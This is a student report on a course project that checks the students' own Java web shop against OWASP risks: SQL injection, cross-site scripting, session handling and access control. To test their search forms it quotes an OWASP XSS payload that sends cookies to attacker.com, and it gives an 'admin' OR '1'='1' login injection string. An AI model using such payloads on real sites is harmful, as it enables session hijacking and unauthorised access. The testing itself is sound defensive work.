

Chris O`Brien (0144266), Shane Whelan (09005763) | EE4023 | [Date]

Distributed Systems Project 2

OWASP Vulnerabilities report

# Injection

The Java Persistence API provides a method that prevents injections by using parameterized queries. Prior to this, SQL queries would be used by concatenating Strings.

|  |
| --- |
| String sql = "select \* from user where username='" + username +"' and password='" + password + "'"; |

Now, SQL queries are defined in an Entity class and in the below case, :name is the parameterized type.

|  |
| --- |
| @NamedQuery(name = "Customer.findByName", query = "SELECT c FROM Customer c WHERE c.name = :name") |

The parameter is defined by using an Entity Manager to create a Query on the database.

|  |
| --- |
| List<Customer> c = em.createNamedQuery("Customer.findByName").  setParameter("name", name).getResultList(); |

The setParameter() method can take multiple arguments, but in the case, the constructer uses the constructor with the arguments (String, Object) and in this example, the String is the name of the parameter (‘name’) and the Object is a string passed to the method for getting a customer with a specific name from the database.

We tested this by attempting to login with a user name of **admin’ OR ‘1’=’1** but this just resulted in the system informing that no such user existed.

# Cross Site Scripting

All user input is either sent to a the Java Persistence API or just not used in any output of HTML tags, which prevents not only against injection, but also against XSS. The main areas where a user interacts with our application are login, register, search by name, search by id, shopping cart, admin section and view all products, the latter which has no user inputs at all.

By using queries in the Java Persistence API, we abstract the details of escaping injected code away from us. The following code was taken from the OWASP site and tested to see if it worked in all our searches. The result was as expected: No Product Found that matched the String entered.

|  |
| --- |
| ‘><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>' |

# Broken Authentication and Session Management

Session IDs are not used at any point in a URL for Customer, Administrators or logged out users. There is no code that retrieves a Session ID from a URL. We have also set time outs a 6 minutes for each session. After the session finishes the user is logged out and Shopping cart is emptied. Which can be easily tested

# Insecure Direct Object References

Our application is safe from Insecure Direct Object References we do not use database keys supplied by the user to retrieve sensitive information. At each point of user input we check the users access to the page to ensure they are authenticated with the correct role in the system.

# Failure to restrict URL access

In our application the only two pages that don’t need authentication for are the Login and Registration page. For every other page a checkAuthentication() method is called which verifies the users session and allows them to continue. If you force browse to any page in our application it will ask you to either Login or Register if you haven’t a valid session. Creating a product, removing a product and updating database quantities are all restricted to Administrators only.

We tested this by force browsing to each page to verify restriction.

# Notes

* For our logging facility the log is written to a text file and the location on the hard disk where the log is located is printed in the Glassfish log file. This done to ensure you can actually find the log. (We could not figure out how to get the current location of the Netbeans project folder if you deploy app on other computers. So its printed in where ever the default location is – normally Glassfish install directory)
* Our database is called SHOP instead of one of our IDs. The incorrect name was chosen early in development and it broke everything when we changed the name. Apologies.